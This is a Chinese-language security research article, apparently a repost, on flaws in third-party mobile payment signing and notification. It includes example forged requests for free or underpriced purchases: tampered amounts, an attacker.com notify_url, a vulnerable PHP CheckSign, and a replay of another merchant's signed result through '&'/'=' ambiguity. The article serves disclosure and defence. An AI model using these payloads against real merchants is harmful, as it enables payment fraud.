支付安全不能说的那些事
原文鏈接:https://www.inforsec.org/wp/?p=1759
在線支付已經走進每個人的生活。搶紅包、網上購物、生活繳費等服務中處處都有在線支付的身影。但是在線支付體系暴露過許多次安全問題,黑客利用在線支付的漏洞可以悄無聲息的免費清空購物車等,造成商戶和支付平臺的損失。由于種種原因,支付平臺的安全問題很少被細致公開的討論過。
本文由2015年支付寶特別獎得主丁羽和黎桐辛,以及韋韜共同撰寫。其中丁羽和韋韜來自百度X-Lab,黎桐辛來自北京大學。文章對在線支付體系的原理進行了介紹,并分享了幾個在線支付過程中曾出現的嚴重漏洞以及利用過程。希望這些經驗能引起相關廠家和商戶的重視,使我們的在線支付更加安全。
?
引言
電子商務已經成為當今互聯網中重要的組成部分。同時“錢包”類服務成為了電子商務的關鍵組件。越來越多的電商服務通過“錢包”服務來進行支付。“錢包”提供的接口簡單易用,任何一個開發者都可以快速的將“錢包”服務供應商提供的SDK整合進自己的App中,提供App內的快速支付手段。目前國內最大的“錢包”類服務包括:支付寶錢包、微信錢包、百度錢包等,各有長處。
因此,支付過程的安全問題也成為了關鍵。如果錢包服務出現了安全漏洞,那么很可能會影響到成千上萬的商家,數十億的現金流,后果往往非常嚴重。對于支付平臺的安全研究自從其誕生之日起就開始了。經過數次血的教訓,幾大支付平臺均修正了數個大大小小的漏洞,反復改進設計和實現。現今的支付平臺已經相當安全可靠。
本文對借助支付平臺進行的支付流程進行分析,對支付平臺的安全進行討論。同時我們展示了商戶端和支付平臺出現過的幾個嚴重安全漏洞。攻擊者通過這幾個安全漏洞可以達到修改金額、任意購買等效果,使得支付平臺和商戶的利益收到巨大損失。本文中涉及的安全漏洞均已得到修正。
支付流程概述
目前市場上的大大小小的第三方支付平臺有許多家,規模有大有小但是從整個支付流程上看這些支付平臺的同質化程度很高。只有少數很大的支付平臺做出了比較大的改動,進一步增強了安全性。這一節我們對支付平臺普遍采用的支付協議做下介紹。
在支付流程中主要包括四個實體:商戶前端、商家服務器、錢包模塊、以及錢包服務器。商戶前端是用戶直接交互的部分,用戶通過操作商戶前端來購買商品等。這里商戶前端不僅限于移動設備上安裝的App,也可以是商家提供的網站。商家服務器是商戶的后端,提供相應的服務。錢包模塊是進行支付的“中介”,如支付寶、微信錢包、百度錢包等都有對應的支付模塊。通常支付模塊可以是用戶App中的一個SDK,與商戶App一起安裝在用戶的手機上。支付模塊也可以以web的形式提供服務。錢包服務器負責處理支付請求,并通知商家服務器支付結果。錢包服務需要與錢包模塊交互以獲得訂單信息,同時需要與相關的機構(例如銀行)進行扣款處理,最后與商家服務和錢包模塊進行通訊以通知支付結果。因此整個支付過程是一個”四方通訊”的過程。一筆成功交易的后面通常包含四方之間數十次的復雜交互,任何一個環節的安全隱患都會擴大整個支付過程的攻擊面。多個安全隱患的疊加可能使得攻擊者可以進行訂單篡改等攻擊,使用戶、商戶、錢包服務的利益收到損失。
一個完整的經由支付平臺的支付過程通常可以劃分為以下幾步:
我們用圖1來介紹支付的四方通訊的詳細過程。
在整個支付過程中,各個消息的完整性是最為關鍵的。如果消息完整性保護存在漏洞,攻擊者即可發起修改金額、修改訂單號、構造虛假訂單等攻擊。作為消息完整性保護的關鍵——簽名機制,是支付協議的核心之一。目前應用在第三方支付平臺中的簽名機制可以分成兩種:基于非對稱密碼體制的簽名,和基于散列函數的簽名。基于非對稱密碼的簽名機制只在極少數支付平臺上得到實現。而基于散列函數的簽名則基本被所有平臺應用或曾經應用過。
在基于非對稱密碼體制的簽名機制中,每個商戶和支付平臺都生成自己的一套公鑰-私鑰對,并互相告知對方自己的公鑰。在進行支付時,發送消息方使用自己的私鑰對消息(或消息的散列值)進行簽名,接受消息方使用對方(發送消息方)的公鑰進行驗簽。這個方法的安全性來自于非對稱密碼體制的安全性,例如RSA的大質數分解難度,或計算橢圓曲線離散對數的難度。在這個機制中,最關鍵的是支付平臺的私鑰。攻擊者一旦獲得支付平臺私鑰,就可以對任意消息進行簽名,從而欺騙商戶。其次是商戶的私鑰。攻擊者獲得商戶私鑰后,結合商戶App的其他漏洞,就可以進行各類攻擊。
基于散列函數的簽名機制安全性來自于哈希函數的不可逆性。在支付平臺中此類簽名機制幾乎得到所有平臺的使用。每個商戶與支付平臺預先共享一個密鑰,以及協商一個hash函數(例如MD5或者SHA1)。在發送消息時,每個商戶活支付平臺在消息中附加上與對方共享的這個密鑰,再對整體進行hash運算,得到簽名值,與原始消息合并作為最后的消息發送給對方。在接受消息時則將簽名值剝離,將剩下的部分與密鑰組合后進行hash運算,檢驗生成的散列值是否與發來的簽名值相符。在這個體制中,最關鍵的無疑就是商戶和支付平臺預先共享的這個密鑰了。一旦這個密鑰泄露,攻擊者既可以模仿商戶給支付平臺發信息,又可以模仿支付平臺給商戶發信息,以進行各類欺騙和攻擊,危害無窮。在目前支付平臺所采用的簽名機制中,以基于MD5的簽名最為常見。
此外,以上提到的私鑰泄露,其實等同于令商戶/支付平臺對指定字符串進行簽名的能力。如果攻擊者可以在很少代價的情況下對指定的“畸形”/“惡意”串進行簽名的話,也相當于獲得了任意簽名的能力,從而以很小的代價發起攻擊。
值得注意的是,基于MD5的簽名機制并不僅限于”支付協議”中使用,在相當多類型的通信中均得到大量應用。而MD5如果不嚴格限定輸入并使用正確的模式將會是相當脆弱的,我們可以構造通用的簽名碰撞攻擊,將在后繼文章中進行介紹。
此外,支付結果的同步、異步通知則是最容易受到攻擊的點。支付結果的同步通知可以在端上被攻擊者篡改(例如使用代理或者Xposed)。對于異步通知,由于異步通知經常缺乏可靠的對發送者的身份鑒定,因此攻擊者可以自行構造異步通知來通知商戶服務已支付成功,從而完成攻擊。此外,異步通知的地址往往是可變的,以參數的形式傳遞給支付平臺。攻擊者一旦獲得了修改異步通知地址的能力,也會對支付過程的安全性造成威脅。
簽名機制
- 基于MD5的消息完整性簽名機制
在目前國內大部分支付平臺以及諸如anySDK平臺等平臺的接口中均使用或曾使用基于MD5的消息完整性簽名機制。該機制主要用戶保證圖2中四方通訊時消息傳遞的完整性。
基于MD5的消息完整性簽名機制如圖2所示。該方法的關鍵在于:商家和錢包服務之間共享一個簽名密鑰。該簽名密鑰參與到每個簽名生成以及簽名驗證過程中。該密鑰不能泄露,一旦泄露則會造成極大安全隱患。攻擊者可以借助泄露的密鑰來偽造消息,修改訂單,發送支付成功消息等。
在簽名過程中,簽名方將待簽名的原請求中的key-value對按照key的字母序進行排序,然后連接在一起。這個連接可以使用‘&’組合,也可以不使用‘&’。再將簽名密鑰附帶在組合的結尾,生成“待簽字符串”。有的簽名方案使用‘&key=’來連接key,有的則直接附加key在末尾,區別不大。然后使用MD5算法生成待簽字符串的散列值作為簽名。最后將該散列值作為一個域附加在原請求中,得到最終的請求。
驗簽過程和簽名過程是基本相同的。首先從最終請求中分離出簽名域,再將需要驗簽的部分按照key的順序排列并重新組合,附加上簽名密鑰,生成簽名過程中的“待簽字符串”,最后計算其MD5值,判斷其與最終請求中所帶的散列值是否相符。
- 基于非對稱密碼體制的簽名機制
應用這一類簽名機制的平臺較少,其支付過程可參見圖3。
以RSA為例。商戶生成一對RSA公私鑰對,錢包服務生成一對RSA公私鑰對。雙方把各自的公鑰(金色鑰匙)發給對方。
對消息進行簽名的過程和基于MD5的過程類似,也是首先將請求按key-value對排序,再使用RSA-SHA1算法(先SHA1再變形再RSA)和對方的RSA公鑰生成簽名,最后將簽名附在原請求中形成完整的請求。 驗簽過程使用自己的RSA私鑰進行驗簽,具體過程不表。
- 待簽字符串的生成
以上兩類簽名機制均依賴于“待簽字符串”的生成。在待簽字符串的生成過程中有以下三個主要問題:
待簽字符串的種種性質導致了其“二義性”的出現。在某些情況下,同一個待簽字符串可以等價于兩個不同請求。例如這個待簽字符串
a=A&b=B&c=C&d=D
可以由一個包含四個key-value對的原請求
{“a”:”A”,?“b”:”B”,?“c”:”C”,?“d”:”D”}
生成。在某些情況下,還可以由以下包含五個key-value對的原請求生成
{“a”:”A”,?“b”:”B”,?“c”:”C”,?“d”:”D”,?“junk”:”JUNK”}
或者,在另一些情況下,可以由以下只包含三個key-value對的原請求生成
{“a”:”A&b=B”,?“c”:”C”,?“d”:”D”}
這些變形依賴于“待簽字符串”的生成方法。攻擊者可以通過構造畸形請求來生成具有相同“待簽字符串”的請求,從而繞過簽名驗證限制。
支付協議中的安全漏洞
由以上分析,第三方支付過程的安全嚴重依賴于以下三點:
然而在生產環境中每個環節都有可能出錯,引起嚴重的安全隱患。
- 密鑰泄露
這是最常見的一種安全漏洞。密鑰泄漏并不是一種罕見的情況,不少app在開發時,將密鑰硬編碼在app代碼中(用于本地實現簽名計算)。消息的完整性依賴于簽名的計算,密鑰泄漏后消息將無法保證未被篡改或偽造。但對稱密鑰和不對稱密鑰泄漏后的利用和危害有所區別。
圖4展示了最常見的情況。MD5簽名密鑰編碼在用戶App中造成密鑰泄露。在對相當多的app進行逆向工程后我們發現,有部分app直接照搬一些樣例代碼,導致key被直接明文編碼到程序中,非常容易提取。還有一部分app作者使用了一些變形手段,例如將key拆成奇數位、偶數位分別存儲,或使用特定常數進行異或存儲。這些簡單變形在熟練的攻擊者面前是徒勞的。
由于商戶和支付平臺共享密鑰,密鑰泄漏后,攻擊者既可以冒充商戶向支付平臺發送訂單消息,又可以冒充支付平臺向商戶發送支付結果。當然,后者更加直接(如圖4)。
例如,若攻擊者準備購買一件商品,其訂單消息為
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX,
攻擊者可以首先通過修改notify_url到攻擊者掌控的地址,如http://attacker.com/,提交請求:
notify_url=http://attacker.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX
來獲得notify_url的結構。再偽造以下消息簽名后發送給商戶,偽造異步通知,實現免費購物。
target_url:?http://seller.com/notify
post_data:?put_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&sign=XXX.
商戶收到消息后驗證簽名正確,所有參數均正確,將完成攻擊者的訂單。而事實上,攻擊者并未進行過任何支付。
另一方面,基于非對稱密碼體制的簽名方案中,私鑰泄露后攻擊者也可以進行攻擊。但是仍依賴于其他的邏輯漏洞。攻擊者只能獲取商戶的私鑰,而支付平臺的私鑰往往被妥善保護無法獲得。因此,攻擊者無法冒充支付平臺向商戶發送支付成功的消息,而只能冒充商戶向支付平臺偽造訂單或者篡改訂單,修改支付金額。如圖5所示,若攻擊者準備購買一件商品,其訂單消息為
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=100&sign=XXX
攻擊者修改金額,使用私鑰重新簽名,并提交支付訂單
notify_url=http://seller.com/notify&out_trade_no=12345&seller=alice&total_fee=1&sign=XXX
成功支付1元后,商戶會收到支付結果消息
out_trade_no=12345&seller=alice&total_fee=1&trade_status=SUCCESS&sign=XXX
商戶進行消息的驗證,會發現簽名正確,商戶號正確,訂單12345支付成功。若商戶沒有驗證支付金額與訂單是否匹配,將完成攻擊者的訂單。從而攻擊者以1元購買了100元的商品。在許多App中,曾出現過只驗證簽名和訂單id的情況,沒有驗證實付金額,因此可以通過這種金額篡改進行攻擊。
為了防御這樣的攻擊,商家一定要修改app和服務端的設計,使得簽名全部在服務端進行。網上充斥著大量可以直接照搬的富含漏洞的樣例代碼,一定不要簡單修改這些代碼就直接接入支付平臺。此外,每筆交易均要進行查賬,驗證錢真的得到了支付,才可以標記訂單為成功支付。
一旦出現這樣的秘鑰泄漏商家將面臨嚴峻的安全風險,支付平臺也將面臨嚴重的連帶品牌危機。發生這樣的危機時,如果簡單的替換秘鑰將會直接導致老App客戶端無法進行交易,如果不替換則將面臨嚴峻的支付風險。目前臨時緩解方案是依靠商家服務后臺與錢包服務后臺的增強校驗和風控來探測和抵抗攻擊。
- 簽名算法實現錯誤
簽名泄露只影響個別自己實現錯誤的商家,而支付平臺的漏洞則會影響千萬商家。在這一節我們討論我們提交給兩個國內著名支付平臺的平臺漏洞,他們均已得到修復。
案例一
第三方支付平臺A采用了對稱密鑰的設計,并提供了服務端SDK供商家集成。服務端SDK提供了API驗證簽名是否正確。
在PHP和C#的SDK實現中,當簽名字段不存在時,SDK會直接返回簽名正確,這就導致了攻擊者可以直接冒充支付平臺向商戶發送偽造的支付結果消息并通過簽名認證。
以PHP版代碼為例
public?function?CheckSign()
{
if(!$this->IsSignSet()){
return?true;
}
$sign =?$this->MakeSign();
if($this->GetSign()?==?$sign){
return?true;
}
throw?new?Exception(“簽名錯誤!”);
}
public?function?IsSignSet()
{
return?array_key_exists(‘sign’,?$this->values);
}
檢查簽名時,首先會利用函數 IsSignSet判斷簽名是否存在。若簽名不存在,直接認為簽名正確。
由于該支付平臺要求商戶服務器將訂單(包括通知URL)發送給支付服務器獲取一個ID,隨后商戶應用將ID傳遞給支付客戶端調起支付界面,在實際攻擊中, 攻擊者還需要從其他渠道獲取通知URL(例如路徑猜測、URL硬編碼或存在網絡請求中等)才可偽造支付結果。
案例二
支付平臺B采用了非對稱密鑰的設計,每個商戶有自己的一套公鑰私鑰,但支付平臺的公鑰私鑰僅一套,即所有商戶使用同一個公鑰驗證來自支付平臺的消息。
除此以外,訂單消息和支付結果消息中包含字段body描述商品信息,且訂單消息和對應支付結果消息中的body一致。
如果攻擊者希望免費(低價)購物,應該如何進行呢?回顧上文中關于待簽字符串二義性的討論,待簽字符串為形如:
key1=value1&key2=value2&key3=value3
的格式。&和=作為了連接符號。
如果某一個參數值(value)中包含&和=符號,待簽字符串和原始的參數集合就可能不再是一對一,即存在多組參數集合對應同一組待簽字符串。
例如:參數集合
{“key1“:”value1“,?“key2“:”value2&key3=fake_value&zend_key=a“,?“key3“:”value3“}
的待簽字符串為
key1=value1&key2=value2&key3=fake_value&zend_key=a&key3=value3
考慮另一個參數集合
{“key1“:”value1“,?“key2“:”value2“,?“key3“:”fake_value“,?“zend_key“:”a&key3=value3“}
的待簽字符串同為
key1=value1&key2=value2&key3=fake_value&zend_key=a&key3=value3
兩組集合的待簽字符串一樣,但key3的值不同。攻擊者若知道其中一組的簽名,便知道另一組參數在相同密鑰下的簽名了。
有了這個發現,如何在實際中利用并實現免費(低價)購物呢? 攻擊者需要“騙一個畸形訂單支付成功的簽名”!
首先,攻擊者需要擁有一個商戶evil的私鑰(可自行注冊或利用已泄漏密鑰)
現在攻擊者準備向商戶alice購買一件商品,正常的訂單消息參數為
{“body”:”商品A”,”notify_url”:”http://seller.com/notify”, “out_trade_no”:”12345″, “seller”:”alice”, “total_fee”:”100″, “sign”:”XXX”}
若訂單支付成功,支付結果的參數應為
{“body”:”商品A”,?“out_trade_no”:”12345″,?“seller”:”alice”,?“total_fee”:”100″,?“trade_status”:”SUCCESS”,?“sign”:”YYY”},
因此,攻擊者的目標是向http://seller.com/notify發送一個支付完成的消息,并且包含
{“body“:”商品A“,?“out_trade_no“:”12345“,?“seller“:”alice“,?“total_fee“:”100“,?“trade_status“:”SUCCESS“}
這些參數和正確的簽名。
這樣一條消息會經過支付平臺的簽名,攻擊者無法直接偽造。但是前面提到,所有商戶使用同一個公鑰驗證來自支付平臺的消息,也就是說支付平臺發給商戶evil的消息若轉發給商戶alice,簽名可以通過驗證,僅僅是商戶號等參數值不正確。因此,攻擊者可以考慮利用evil的支付結果來偽造給alice的支付結果。
攻擊者首先發給支付平臺一個屬于商戶Evil的訂單消息
{“body”:“商品A&out_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&z=”,“notify_url”:“http://evil.com/notify”, “out_trade_no”:”12345”, “seller”:“evil”, “total_fee”:“1”, “sign”:“XXXX”},
支付1元后,http://evil.com/notify會收到支付結果,并且經過了支付平臺簽名。
{“body”:“商品A&out_trade_no=12345&seller=alice&total_fee=100&trade_status=SUCCESS&z=”, “out_trade_no”:”12345”, “seller”:“evil”, “total_fee”:“1”, “trade_status”:“SUCCESS”, “sign”:“signed by payment platform”},
攻擊者可以將其變換為
{“body”:“商品A”,“out_trade_no”:“12345”,“seller”:“alice”, “total_fee”:“100”, “trade_status”:“SUCCESS”,“z”:“&out_trade_no=12345&seller=evil&total_fee=1&trade_status=SUCCESS”, “sign”:“signed by payment platform”}
然后發送給商戶Alice的URL http://seller.com/notify。這些數據具有正確的簽名和期望的商家號、訂單號、支付金額,將會通過alice驗證,從而alice會通過攻擊者的訂單。
攻擊者因此實現了免費(低價)購物。
- 商戶驗證支付結果時存在邏輯錯誤
盡管支付平臺提供了服務端SDK,商戶后端在實現邏輯時可能并未使用SDK。那么,商戶應正確實現簽名的驗證邏輯,避免相關邏輯錯誤,如簽名不存在時通過簽名驗證。
商戶在收到支付結果通知,驗證完簽名后,還應正確處理支付結果中的相關參數。支付金額、商戶號都應該被驗證。
當支付金額未被驗證, 攻擊者可以支付較低的費用實現購物。支付金額不一致可能是訂單消息在簽名之前金額被篡改或是攻擊者偽造了訂單消息(參考不對稱密鑰泄漏)。
若商戶號未被驗證,攻擊者可以考慮復用另一商戶的支付結果,對當前商戶進行攻擊。攻擊發生的條件在于發給不同商戶的支付結果使用了同樣的私鑰簽名,同時攻擊者注冊了自己商戶。攻擊者生成一個訂單,支付給自己的商戶后,將支付結果復用。
若商戶號和總金額均未被驗證,攻擊者還可以再次考慮復用另一商戶的支付結果對當前商戶進行攻擊。雖然復用支付結果仍要求發給不同商戶的支付結果使用了同樣的私鑰簽名,但攻擊者不再需要注冊自己的商戶,而是利用已泄漏的商戶密鑰。實現攻擊時,攻擊者生成一個費用較低的訂單,完成支付后復用支付結果。
在用戶完成支付后,支付平臺往往既會異步通知商戶服務器支付結果,又會同步通知商戶客戶端支付結果以向用戶展示。
然而,支付結果的驗證應在服務端完成。僅在客戶端驗證將容易受到攻擊。攻擊者可以直接修改客戶端邏輯實現免費購物。
總結
本文總結了常見支付平臺的支付過程的機制,探討了其中存在和可能存在的問題,并通過實例展現了商戶端和支付平臺出現的安全問題。除了本文中探討的問題,還有許許多多安全隱患在近年得到不斷修正。總的來說現在的網上支付還是比較可靠的。在下篇中我們繼續對基于MD5的消息簽名機制進行討論,發掘更多的安全問題。
參考文獻
總結
以上是生活随笔為你收集整理的支付安全不能说的那些事的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 解不等式之代数和不等式
- 下一篇: 德国超级计算机中心,德国:强化人工智能能